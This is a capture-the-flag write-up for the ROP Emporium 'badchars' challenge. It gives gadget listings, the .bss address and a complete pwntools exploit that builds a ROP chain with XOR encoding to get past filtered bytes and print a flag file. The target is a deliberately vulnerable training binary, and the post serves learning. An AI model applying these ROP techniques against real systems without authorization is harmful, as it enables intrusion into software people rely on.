Post

badchars

badchars

Description

This is the fifth challenge of ropemporium: badchars.

The reasoning behind this is sometimes, characters can’t be sent properly in a payload. This could be because of filtering, parsing. or otherwise. This causes a problem in binary exploitation.

Exploration

Badchars

The badcharacters are given to eliminate the need to do reverse engineering:

1
2
3
4
5
$ ./badchars
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'

In hex, these have the following values:

  • x = 0x78
  • g = 0x67
  • a = 0x61
  • . = 0x2e

Gadgets (usefulGadgets and ropper)

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400628 <+0>:     xor    BYTE PTR [r15],r14b
   0x000000000040062b <+3>:     ret
   0x000000000040062c <+4>:     add    BYTE PTR [r15],r14b
   0x000000000040062f <+7>:     ret
   0x0000000000400630 <+8>:     sub    BYTE PTR [r15],r14b
   0x0000000000400633 <+11>:    ret
   0x0000000000400634 <+12>:    mov    QWORD PTR [r13+0x0],r12
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    nop    DWORD PTR [rax+0x0]
End of assembler dump.

We can see a set of 4 useful gadgets, three of which do operations on the value at address R15 and one which writes any value R12 into address R13.

Note that the operations work in R14b, which is only the lower byte of R14.

Seeing that R12-R15 will be needed in this payload, we find a convenient gadget using ropper:

1
2
3
4
5
6
7
8
$ ropper -f ./badchars --search "pop r12"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r12

[INFO] File: ./badchars
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret; 

Lastly, we need an RDI gadget:

1
2
3
4
5
6
7
8
$ ropper -f ./badchars --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: ./badchars
0x00000000004006a3: pop rdi; ret; 

Write location

We can once again write in the .bss section:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> info files
Symbols from "/home/ctf/ctf/ropemporium/badchars/badchars".
Local exec file:
        `/home/ctf/ctf/ropemporium/badchars/badchars', file type elf64-x86-64.
        Entry point: 0x400520
        0x0000000000400238 - 0x0000000000400254 is .interp
        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
        0x0000000000400298 - 0x00000000004002d0 is .gnu.hash
        0x00000000004002d0 - 0x00000000004003c0 is .dynsym
        0x00000000004003c0 - 0x000000000040043e is .dynstr
        0x000000000040043e - 0x0000000000400452 is .gnu.version
        0x0000000000400458 - 0x0000000000400478 is .gnu.version_r
        0x0000000000400478 - 0x00000000004004a8 is .rela.dyn
        0x00000000004004a8 - 0x00000000004004d8 is .rela.plt
        0x00000000004004d8 - 0x00000000004004ef is .init
        0x00000000004004f0 - 0x0000000000400520 is .plt
        0x0000000000400520 - 0x00000000004006b2 is .text
        0x00000000004006b4 - 0x00000000004006bd is .fini
        0x00000000004006c0 - 0x00000000004006d0 is .rodata
        0x00000000004006d0 - 0x0000000000400714 is .eh_frame_hdr
        0x0000000000400718 - 0x0000000000400838 is .eh_frame
        0x0000000000600df0 - 0x0000000000600df8 is .init_array
        0x0000000000600df8 - 0x0000000000600e00 is .fini_array
        0x0000000000600e00 - 0x0000000000600ff0 is .dynamic
        0x0000000000600ff0 - 0x0000000000601000 is .got
        0x0000000000601000 - 0x0000000000601028 is .got.plt
        0x0000000000601028 - 0x0000000000601038 is .data
        0x0000000000601038 - 0x0000000000601040 is .bss

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from pwn import *

exe = ELF("./badchars")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r

We’ll write a similar function for the arbitrary write as we did in write4, this time taking into account the empty values in the R14 and R15 slots.

Note that flat typically pads with the cyclic string, but we can set it to be a non-badchar. I chose z.

1
2
3
4
5
6
7
8
9
10
11
def write(address, value):
    mov_gadget = 0x400634
    ins_gadget = 0x40069c
    return flat([
        ins_gadget,
        value,
        address,
        0xdeadbeefdeadbeef,
        0xdeadbeefdeadbeef,
        mov_gadget
    ])

We’ll also write a function to set a value at a specific address to a specific value using XOR. We’ll use write to set an arbitrary value, then XOR to set it properly.

1
2
3
4
5
6
7
8
9
def fix(address, operand):
    ins_gadget = 0x4006a0
    xor_gadget = 0x400628
    return flat([
        ins_gadget,
        operand,
        address,
        xor_gadget
    ])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

def main():
    r = conn()

    # good luck pwning :)
    offset = 0x28
    bss = 0x601038
    rdi_gadget = 0x4006a3
    key = 2
    data = b"flag.txt"
    badchars = b"xga."
    indices = []
    enc = bytearray()
    for i, b in enumerate(data):
        if b in badchars:
            enc.append(b ^ key)
            indices.append(i)
        else:
            enc.append(b)

    payload = b"z" * offset
    payload += write(bss, enc)
    for i in indices:
        payload += fix(bss+i, key)

    payload += flat([rdi_gadget, bss, exe.plt["print_file"]])
    assert b"x" not in payload
    assert b"g" not in payload
    assert b"a" not in payload
    assert b"." not in payload
    print(payload)
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/badchars/badchars'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/ctf/ctf/ropemporium/badchars/badchars': pid 200099
b'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\x9c\x06@\x00\x00\x00\x00\x00flce,tzt8\x10`\x00\x00\x00\x00\x00\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde4\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00:\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00;\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00<\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa0\x06@\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00>\x10`\x00\x00\x00\x00\x00(\x06@\x00\x00\x00\x00\x00\xa3\x06@\x00\x00\x00\x00\x008\x10`\x00\x00\x00\x00\x00\x10\x05@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}

Mistakes to look out for

I had to reference this solution.

In the end I made two crucial mistakes. First, I confused the registers, since it switches the order compared to write4. Second. I missed the fact that the XOR gadget only works with bytes, so it has to go byte by byte.

This post is licensed under CC BY 4.0 by the author.